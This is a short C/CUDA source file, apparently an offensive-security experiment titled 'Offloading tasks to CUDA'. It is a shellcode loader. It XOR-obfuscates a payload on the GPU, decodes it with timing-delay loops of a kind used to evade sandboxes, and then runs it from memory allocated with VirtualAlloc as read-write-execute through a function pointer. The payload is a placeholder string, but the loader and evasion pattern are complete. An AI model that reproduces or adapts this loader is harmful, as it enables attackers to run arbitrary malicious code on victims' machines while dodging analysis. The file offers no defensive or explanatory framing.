Offloading tasks to CUDA

cuda_flowcontrol_xor_shellcode.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>

// CUDA runtime
#include <cuda_runtime.h>

__global__ void xorObfuscatePayload(char* data, int len, char key) {
    int idx = blockIdx.x * blockDim.x + threadIdx.x;

    if (idx < len) {
        int clock = 0;
        int threshold = (idx + 1) * 123 % 5000 + 1000;
        // Dummy operation to consume time
        while (clock < threshold) {
            clock++;
        }
        data[idx] ^= key;
    }
}

void execute_payload(char *obfuscated_payload, int payload_len, char key) {
    // XOR de-obfuscation before execution
    for (int i = 0; i < payload_len; ++i) {
        int clock = 0;
        int delay = (i + 1) * 123 % 5000 + 1000;
        // Dummy operation to consume time
        while (clock < delay) {
            clock++;
        }

        obfuscated_payload[i] ^= key;
    }

    // Allocate executable memory
    void *exec_mem = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // Copy the payload into the allocated executable memory
    memcpy(exec_mem, obfuscated_payload, payload_len);

    // Cast the allocated memory to a function pointer
    void (*payload_func)() = (void(*)())exec_mem;

    // Execute the payload
    payload_func();

    // Cleanup: de-allocate the memory.
    VirtualFree(exec_mem, 0, MEM_RELEASE);
}

int main() {
    const char payload[] = "Sensitive payload";
    int payloadLength = sizeof(payload);
    char key = 0xAB;

    char* device_payload;
    cudaMalloc((void**)&device_payload, payloadLength);
    cudaMemcpy(device_payload, payload, payloadLength, cudaMemcpyHostToDevice);

    int threadsPerBlock = 256;
    int blocks = (payloadLength + threadsPerBlock - 1) / threadsPerBlock;

    xorObfuscatePayload<<<blocks, threadsPerBlock>>>(device_payload, payloadLength, key);
    cudaDeviceSynchronize();

    char obfuscated_data[payloadLength];
    cudaMemcpy(obfuscated_data, device_payload, payloadLength, cudaMemcpyDeviceToHost);
    
    // Execute the payload after obfuscation
    execute_payload(obfuscated_data, payloadLength - 1, key); // payloadLength - 1 to exclude the null terminator from execution

    cudaFree(device_payload);

    return 0;
}